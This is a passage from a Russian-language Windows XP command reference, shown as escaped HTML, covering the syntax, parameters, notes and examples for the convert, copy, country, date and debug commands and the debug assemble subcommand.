						&lt;p&gt;&amp;#160; &amp;#160; * Необходимо задать преобразование диска при перезагрузке компьютера. В противном случае отсутствует возможность преобразовать текущий диск.&lt;br /&gt;&amp;#160; &amp;#160; * Если команда convert не может заблокировать диск (например системный том или текущий диск), выводится приглашение преобразовать диск при следующей перезагрузке компьютера.&lt;br /&gt;&amp;#160; &amp;#160; * Основная таблица файлов (MFT) имеет другое расположение в томах, преобразованных из предыдущей версии файловой системы NTFS, поэтому их быстродействие может уступать томам, преобразованным из Windows NT.&lt;br /&gt;&amp;#160; &amp;#160; * Тома, преобразованные из файловой системы FAT в NTFS, несколько уступают по быстродействию томам, непосредственно отформатированным в NTFS. В преобразованных томах основная таблица файлов (MFT) может оказаться фрагментированной. Кроме того, в преобразованных загрузочных томах разрешения на доступ NTFS недействительны после преобразования тома.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы преобразовать тома на диске E в формат NTFS и вывести все сообщения, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;convert e: /fs:ntfs /v&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Copy&lt;/p&gt;
						&lt;p&gt;Копирование одного или нескольких файлов из одного расположения в другое.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;copy [/d] [/v] [/n] [{/y|/-y}] [/z] [{/a|/b}] источник [{/a|/b}] [+ источник [{/a|/b}] [+ ...]] [назначение [{/a|/b}]]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;/d&lt;br /&gt;&amp;#160; &amp;#160; Сохранение копируемых шифрованных файлов как расшифрованных в месте назначения.&lt;br /&gt;/v&lt;br /&gt;&amp;#160; &amp;#160; Проверка правильности копирования путем сравнения копий файлов.&lt;br /&gt;/n&lt;br /&gt;&amp;#160; &amp;#160; Использование короткого имени (при наличии) копируемого файла, если его имя превышает 8 символов или его расширение превышает 3 символа.&lt;br /&gt;/y&lt;br /&gt;&amp;#160; &amp;#160; Отмена вывода запроса на подтверждение перезаписи существующего конечного файла.&lt;br /&gt;/-y&lt;br /&gt;&amp;#160; &amp;#160; Вывод запроса на подтверждение перезаписи существующего конечного файла.&lt;br /&gt;/z&lt;br /&gt;&amp;#160; &amp;#160; Копирование файлов по сети в режиме перезапуска.&lt;br /&gt;/a&lt;br /&gt;&amp;#160; &amp;#160; Указание текстового файла в формате ASCII. &lt;br /&gt;/b&lt;br /&gt;&amp;#160; &amp;#160; Указание двоичного файла.&lt;br /&gt;источник&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Задание расположение файла или набора файлов, которые требуется скопировать. Параметр источник может состоять из имени диска с двоеточием, имени папки, имени файла или их комбинации.&lt;br /&gt;назначение&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Задание расположения, в которое требуется скопировать файл или набор файлов. Параметр назначение может состоять из имени диска с двоеточием, имени папки, имени файла или их комбинации.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Имеется возможность скопировать текстовый файл, в котором используется символ конца файла (CTRL+Z) для обозначения конца файла.&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметра /a&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если параметр /a стоит перед списком файлов в командной строке, он применяется ко всем файлам, перечисленным до параметра /b команды copy. В этом случае /b применяется к файлу, предшествующему /b.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если параметр /a стоит после списка файлов в командной строке, он применяется ко всем файлам, перечисленным до параметра /b команды copy. В этом случае /b применяется к файлу, предшествующему /b.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Результат применения параметра /a зависит от его положения в командной строке. Если параметр /a стоит после параметра источник, команда copy обрабатывает файл как текстовый в формате ASCII и копирует данные, которые находятся перед первым символом конца файла.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если параметр /a расположен после параметра назначение, команда copy добавляет символ конца файла как последний символ файла.&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметра /b&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Параметр /b задает считывание командным процессором количества байт, равного размеру файла в каталоге. Параметр /b задается по умолчанию для команды copy, за исключением случаев использования copy для слияния файлов.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если параметр /b стоит перед списком файлов в командной строке, он применяется ко всем файлам, перечисленным до параметра /a команды copy. В этом случае /a применяется к файлу, предшествующему /a.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если параметр /b стоит после списка файлов в командной строке, он применяется ко всем файлам, перечисленным до параметра /a команды copy. В этом случае /a применяется к файлу, предшествующему /a.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Результат применения параметра /b зависит от его положения в командной строке. Если параметр /b стоит после параметра источник, команда copy копирует файл целиком, включая все символы конца строки.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если параметр /b стоит после параметра назначение, команда copy не добавляет символ конца строки.&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметра /v&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если операция записи не может быть проверена, выводится сообщение об ошибке. Хотя ошибки записи редко возникают при работе с командой copy, параметром /v можно воспользоваться для проверки правильности записи важных данных. Параметр /v также завершает работу команды copy, поскольку необходимо проверить каждый сектор, записанный на диск.&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметров /y и /-y&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если параметр /y установлен заранее в переменной среды COPYCMD, можно переопределить эту настройку, указав параметр /-y в командной строке. При переопределении данной настройки по умолчанию выводится запрос, за исключением исключением случаев выполнения команды copy в пакетном файле.&lt;br /&gt;&amp;#160; &amp;#160; * Объединение файлов&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Чтобы объединить файлы, укажите один файл в параметре назначение и несколько в параметре источник (используя подстановочные знаки или формат файл1+файл2+файл3).&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметра /z&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если во время фазы копирования теряется сетевое подключение (например, если сервер переходит в автономный режим, разрывая подключение), команда copy /z позволяет продолжить копирование после восстановления подключения. Кроме того, параметр /z позволяет отобразить сведения о завершении операции копирования в процентах для каждого файла.&lt;br /&gt;&amp;#160; &amp;#160; * Использование внешних устройств в операциях копирования&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; В качестве параметров источник и назначение можно указать имена устройств.&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметра /b при копировании на устройство&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если в параметре назначение указано устройство (например Com1 или Lpt1), параметр /b позволяет скопировать данные на это устройство в двоичном режиме. В двоичном режиме команда copy /b копирует все символы (включая управляющие символы, такие как CTRL+C, CTRL+S, CTRL+Z и перевод строки) на устройство как данные. Однако если параметр /b не указан, данные копируются на устройство в формате ASCII. В этом режиме управляющие символы могут вызвать слияние файлов в системе Windows XP в процессе копирования. Дополнительные сведения см. в разделе «Слияние файлов».&lt;br /&gt;&amp;#160; &amp;#160; * Использование стандартного имени конечного файла&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если конечный файл не задан, по умолчанию файлы будут скопированы с тем же именем, датой и временем создания в текущий каталог на текущем диске. Если исходный файл находится в текущем каталоге на текущем диске, выполнение команды copy завершается и выводится следующее сообщение об ошибке:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Невозможно скопировать файл в себя&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Скопировано файлов: 0&lt;br /&gt;&amp;#160; &amp;#160; * Слияние файлов&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если введено несколько параметров источник, разделенных знаком плюс (+), команда copy объединяет файлы в один. Если в параметре источник использованы подстановочные знаки (* или ?), а в параметре назначение задан один файл, команда copy объединит все файлы, удовлетворяющие шаблону в параметре источник, в один с именем, указанным в параметре назначение. В обоих случаях, если не задан параметр /b, команда copy объединяет файлы как текстовые.&lt;br /&gt;&amp;#160; &amp;#160; * Копирование файлов нулевой длины&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Команда Copy не копирует файлы, которые имеют длину, равную 0 байт. Для выполнения этой операции служит команда xcopy.&lt;br /&gt;&amp;#160; &amp;#160; * Изменение даты и времени модификации файла&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если требуется установить текущую дату и время в качестве даты модификации файла без изменения его содержимого, воспользуйтесь следующим синтаксисом:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; copy /b источник+,,&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Запятые заменяют параметр назначение.&lt;br /&gt;&amp;#160; &amp;#160; * Копирование файлов в подкаталогах&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Для копирования всех файлов каталога и его подкаталогов служит команда xcopy. Дополнительные сведения о команде xcopy см. по ссылке «».&lt;br /&gt;&amp;#160; &amp;#160; * Команда copy с другими параметрами доступна в консоли восстановления. &lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы скопировать файл Memo.doc в файл Letter.doc на текущем диске и убедиться, что символ конца файла находится в конце скопированного файла, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;copy memo.doc letter.doc /a&lt;/p&gt;
						&lt;p&gt;Чтобы скопировать файл Robin.typ с текущего каталога на текущем диске в существующий каталог Birds на диске C, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;copy robin.typ c:\birds&lt;/p&gt;
						&lt;p&gt;Если каталог Birds не существует, файл Robin.typ будет скопирован в файл с именем Birds в корневой каталог диска C.&lt;/p&gt;
						&lt;p&gt;Чтобы скопировать несколько файлов в один, перечислите несколько файлов в параметре источник, разделяя их имена значком плюс (+), и укажите в параметре назначение файл, который должен содержать результат объединения этих файлов. Например, чтобы объединить файлы Mar89.rpt, Apr89.rpt и May89.rpt из текущего каталога на текущем диске и поместить их в файл Report в текущем каталоге на текущем диске, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;copy mar89.rpt + apr89.rpt + may89.rpt report&lt;/p&gt;
						&lt;p&gt;При объединении команда copy создает конечный файл с текущими датой и временем. Если параметр назначение не указан, файлы объединяются и сохраняются в файле с именем первого файла в списке. Например, чтобы объединить четыре файла в файле Report, если такой файл уже существует, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;copy report + mar89.rpt + apr89.rpt + may89.rpt&lt;/p&gt;
						&lt;p&gt;Кроме того, несколько файлов можно объединить в один с помощью символов подстановки (* или ?). Например, чтобы объединить все файлы с расширением .txt в текущем каталоге на текущем диске в файл Combin.doc, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;copy *.txt combin.doc&lt;/p&gt;
						&lt;p&gt;Если требуется объединить несколько двоичных файлов в один с использованием подстановочных знаков, воспользуйтесь параметром /b. В результате CTRL+Z не будет рассматриваться как символ конца файла в Windows XP. Например, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;copy /b *.exe combin.exe&lt;/p&gt;
						&lt;p&gt;Внимание!&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Если объединяются двоичные файлы, результат может оказаться непригодным из-за нарушения внутреннего форматирования. &lt;/p&gt;
						&lt;p&gt;В следующем примере команда copy объединяет каждый файл с расширением .txt с соответствующим ему файлом с расширением .ref. Результатом является файл с тем же именем, но с расширением .doc. Таким образом, команда copy объединит файлы File1.txt и File1.ref в файл File1.doc, затем файлы File2.txt и File2.ref в файл File2.doc и т. д. Например, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;copy *.txt + *.ref *.doc&lt;/p&gt;
						&lt;p&gt;Чтобы объединить сначала все файлы с расширением .txt, а затем все файлы с расширением .ref в файл Combin.doc, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;copy *.txt + *.ref combin.doc&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Country&lt;/p&gt;
						&lt;p&gt;Задание использования подсистемой MS-DOS международного формата для времени, дат, валют, разделителей и преобразования символов.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;country=xxx[,[yyy][,[диск:][путь] имя_файла]]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;xxx&lt;br /&gt;&amp;#160; &amp;#160; Задание кода страны.&lt;br /&gt;yyy&lt;br /&gt;&amp;#160; &amp;#160; Задание кодовой страницы для данного кода страны.&lt;br /&gt;[диск:][путь] имя_файла&lt;br /&gt;&amp;#160; &amp;#160; Задание местонахождения и имени файла, содержащего информацию о национальных форматах.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Команда country обеспечивает распознавание подсистемой MS-DOS набора символов и соглашения о пунктуации при использовании одного из поддерживаемых национальных языков. Используйте файл %системный_корневой_каталог%\System32\Config.nt или эквивалентный файл запуска, указанный в PIF-файле программы, для загрузки настройки Код страны.&lt;br /&gt;&amp;#160; &amp;#160; * Установка поддерживаемых языков&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; В следующей таблице перечислены страны и языки, поддерживаемые подсистемой MS-DOS. В ней также перечислены кодовые страницы, которые могут быть использованы с этими кодами стран. Например, если используется код страны 003, при задании параметра yyy можно использовать только кодовые страницы 437 или 850. Первая из двух кодовых страниц, перечисленных для каждой страны/региона или языка, является кодовой страницей, используемой по умолчанию.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Страна/регион или язык 	Код страны/региона 	Кодовые страницы&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; США 	001 	437, 850&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Французский (Канада) 	002 	863, 850&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Голландия 	031 	850, 437&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Бельгия 	032 	850, 437&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Франция 	033 	850, 437&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Испания 	034 	850, 437&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Венгрия 	036 	852, 850&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Италия 	039 	850, 437&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Швейцария 	041 	850, 437&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Чешская республика 	042 	852, 850&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Словакия 	042 	852, 850&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Великобритания 	044 	437, 850&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Дания 	045 	850, 865&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Швеция 	046 	850, 437&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Норвегия 	047 	850, 865&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Польша 	048 	852, 850&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Германия 	049 	850, 437&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Бразилия 	055 	850, 437&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Международный английский 	061 	437, 850&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Португалия 	351 	850, 860&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Финляндия 	358 	850, 437&lt;br /&gt;&amp;#160; &amp;#160; * Задание национального формата для времени и даты&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Код страны задает формат времени и даты, используемый в следующих командах: backup, date и time.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; В следующей таблице перечислены форматы даты и времени для каждого кода страны. Для каждого кода страны в соответствующих колонках представлена дата 3 января 1994г. и время 17 часов 35 минут (0 секунд и 0 сотых секунды).&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Страна/регион или язык 	Код страны/региона 	Формат даты 	Формат времени&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; США 	001 	01/03/1994 	5:35:00.00p&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Французский (Канада) 	002 	1994-01-03 	17:35:00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Латинская америка 	003 	03/01/1994 	5:35:00.00p&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Голландия 	031 	03-01-94 	17:35:00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Бельгия 	032 	03/01/94 	17:35:00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Франция 	033 	03.01.1994 	17:35:00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Испания 	034 	3/01/94 	17:35:00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Венгрия 	036 	1994.01.03 	17:35:00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Италия 	039 	03/01/94 	17.35.00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Швейцария 	041 	03.01.94 	17 35.00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Чешская республика 	042 	03.01.1994 	17:35:00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Словакия 	042 	03.01.1994 	17:35:00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Великобритания 	044 	03/01/94 	17:35:00.00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Дания 	045 	03-01-94 	17.35.00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Швеция 	046 	1994-01-03 	17.35.00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Норвегия 	047 	03.01.94 	17:35:00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Польша 	048 	1994-01-03 	17:35:00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Германия 	049 	03.01.1994 	17:35:00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Бразилия 	055 	03/01/94 	17:35:00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Международный английский 	061 	03/01/1994 	17:35:00.00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Португалия 	351 	03-01-1994 	17:35:00&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Финляндия 	358 	3.1.1994 	17.35.00&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы преобразования валюты, времени, даты и символов в соответствии с французским национальным форматом, добавьте следующую команду в файл Config.nt:&lt;/p&gt;
						&lt;p&gt;country=033&lt;/p&gt;
						&lt;p&gt;Чтобы задать кодовую страницу вместе с кодом страны для Франции, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;country=033,850&lt;/p&gt;
						&lt;p&gt;Если кодовая страница не задана, но введен параметр [диск:][путь] имя_файла, необходимо ввести запятую, предваряющую кодовую страницу, как показано в примере:&lt;/p&gt;
						&lt;p&gt;country=033,,c:\winnt\system32\country.sys&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Date&lt;/p&gt;
						&lt;p&gt;Отображение текущей настройки системной даты. Выполненная без параметров команда date выводит настройку текущей системной даты и приглашение ввести новую дату.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;date [мм-дд-гг] [/t]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;дд-мм-гг&lt;br /&gt;&amp;#160; &amp;#160; Установка указанной даты, где мм — месяц, дд — день, гг — год.&lt;br /&gt;/t&lt;br /&gt;&amp;#160; &amp;#160; Вывод текущей даты без приглашения ввести новую дату. &lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Значения параметров мм, дд и гг должны быть разделены точкой (.), знаком переноса (-) или косой чертой (/).&lt;br /&gt;&amp;#160; &amp;#160; * Параметр мм может принимать значения от 1 до 12.&lt;br /&gt;&amp;#160; &amp;#160; * Параметр дд может принимать значения от 1 до 31.&lt;br /&gt;&amp;#160; &amp;#160; * Параметр гг может принимать значения от 80 до 99 или от 1980 до 2099.&lt;br /&gt;&amp;#160; &amp;#160; * Система Windows XP автоматически изменяет текущие месяц и год в зависимости от количества дней в месяце (28, 29, 30 или 31 день).&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы изменить дату на 3 августа 2000г., введите одну из следующих команд:&lt;/p&gt;
						&lt;p&gt;08.03.00&lt;/p&gt;
						&lt;p&gt;08-03-00&lt;/p&gt;
						&lt;p&gt;08/03/00&lt;/p&gt;
						&lt;p&gt;Чтобы вывести текущую системную дату, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;date /t&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Debug&lt;/p&gt;
						&lt;p&gt;Запуск Debug.exe, программы для проверки и отладки исполнительных файлов MS-DOS. Выполненная без параметров команда debug запускает программу Debug.exe и выводит приглашение команды debug, представленное дефисом (-).&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;debug [[диск:][путь] имя_файла [параметры]]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;[диск:][путь] имя_файла&lt;br /&gt;&amp;#160; &amp;#160; Задание расположения и имени исполняемого файла для тестирования.&lt;br /&gt;параметры&lt;br /&gt;&amp;#160; &amp;#160; Указание параметров командной строки, передаваемых отлаживаемой программе.&lt;br /&gt;?&lt;br /&gt;&amp;#160; &amp;#160; Вывод списка подкоманд команды debug.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * Использование команд подсистемы MS-DOS&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Команда debug — это команда подсистемы MS-DOS, которая выполняется в среде WOW/NTVDM.&lt;br /&gt;&amp;#160; &amp;#160; * Разделитель параметров команды&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Параметры можно вводить через запятые или пробелы, но это требуется только для шестнадцатеричных значений. Например, следующие команды эквивалентны:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; dcs:100 110&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; d cs:100 110&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; d,cs:100,110&lt;br /&gt;&amp;#160; &amp;#160; * Использование команд debug&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Существует несколько команд debug, которыми можно воспользоваться. Дополнительные сведения о командах debug см. по ссылке «».&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Debug: a (assemble)&lt;/p&gt;
						&lt;p&gt;Создание двоичного кода процессоров 8086/8087/8088 непосредственно в памяти. Выполненная без параметров команда a начинает работу с точки последнего останова.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;a [адрес]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;адрес&lt;br /&gt;&amp;#160; &amp;#160; Задает адрес, по которому записаны инструкции на языке ассемблер. Параметр адрес принимает шестнадцатеричные значения без знака h.&lt;br /&gt;?&lt;br /&gt;&amp;#160; &amp;#160; Вывод списка команд debug.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * Задание правильных записей адреса&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Адрес состоит из двух частей: первая содержит буквенное обозначение сегментного регистра или адрес сегмента из четырех цифр, а вторая содержит значение смещения. Адрес сегмента или сегментный регистр можно пропустить. По умолчанию для команд debug a, g, l, t, u и w адрес сегмента содержится в регистре CS. Для других подкоманд по умолчанию используется сегмент DS. Все числовые значения при этом представлены в шестнадцатеричном формате. Между именем сегмента и значением смещения следует вставлять двоеточие. Примеры правильных адресов:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; CS:0100&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 04BA:0100&lt;br /&gt;&amp;#160; &amp;#160; * Задание мнемоник префикса&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Задайте мнемонику префикса инструкции перед кодом операции (т. е. opcode), к которой она относится. Команда a создает исполняемый машинный код из инструкций на языке ассемблера. Все числовые значения должны быть представлены в шестнадцатеричном формате и записаны как набор от 1 до 4 символов.&lt;br /&gt;&amp;#160; &amp;#160; * Использование мнемоник&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Мнемоники cs:, ds:, es: и ss:. Мнемоникой, вызывающей возврат управления в другой сегмент кода (far return), является retf. Мнемоники для работы со строками должны точно определять размер элементов строк. Например, для перемещения строк из слов (16 бит) следует использовать movsw, а для перемещения строк из байтов (8 бит) следует использовать movsb.&lt;br /&gt;&amp;#160; &amp;#160; * Задание переходов и вызовы функций&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Ассемблер автоматически обрабатывает переходы и вызовы (т. е. префиксы short, near или far ) в зависимости от смещения байтов. Имеется возможность переопределить переходы или вызовы с помощью префиксов near или far. Например:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; -a0100:0500&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; 0100:0500 jmp 502 ; короткий (short) переход на 2 байта&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; 0100:0502 jmp near 505 ; ближний (near) переход на 3 байта&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; 0100:0505 jmp far 50a ; длинный (far) переход на 5 байтов&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Вместо префикса near можно использовать сокращение ne.&lt;br /&gt;&amp;#160; &amp;#160; * Задание адреса слова или байта в памяти&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если операнды ссылаются на адреса слов или байтов в памяти, тип данных должен быть задан с использованием префикса word ptr или byte ptr, которые можно сократить до wo для word ptr и до by для byte ptr. Например:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; dec wo [si]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; neg byte ptr [128]&lt;br /&gt;&amp;#160; &amp;#160; * Задание операндов&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; В программе Debug.exe используется общее соглашение о том, что операнды, указывающие на адрес в памяти, заключаются в квадратные скобки ([ ]). Это единственный способ, который позволяет различать непосредственные операнды и ссылки на области в памяти в Debug.exe. Например:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; mov ax,21 ; загрузить число 21h в регистр AX&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; mov ax,[21] ; загрузить содержимое&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; ; памяти по адресу 21h&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; ; в регистр AX&lt;br /&gt;&amp;#160; &amp;#160; * Псевдоинструкции&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; С командой a часто используются две псевдоинструкции: операция db, которая размещает байты непосредственно в памяти, и операция dw, которая размещает в памяти слова. Например:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; db 1,2,3,4,&amp;quot;ЭТО ПРИМЕР&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; db &#039;ЭТО КАВЫЧКА: &amp;quot;&#039;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; db &amp;quot;ЭТО КАВЫЧКА: &#039;&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; dw 1000,2000,3000,&amp;quot;BACH&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; * Ввод данных в определенные байты&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Дополнительные сведения о вводе данных в определенные байты с помощью команды e (enter) см. по ссылке «».&lt;br /&gt;&amp;#160; &amp;#160; * Деассемблирование байт&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Дополнительные сведения о деассемблировании байт с помощью команды u (unassemble) см. по ссылке «».&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Команда a допускает различное использование ссылок на регистры. Например:&lt;/p&gt;
						&lt;p&gt;add bx,34[bp+2].[si-1]&lt;br /&gt;pop [bp+di]&lt;br /&gt;push [si] )&lt;/p&gt;
						&lt;p&gt;Кроме того, команда a поддерживает использование синонимов дополнительных кодов операций: Например:&lt;/p&gt;
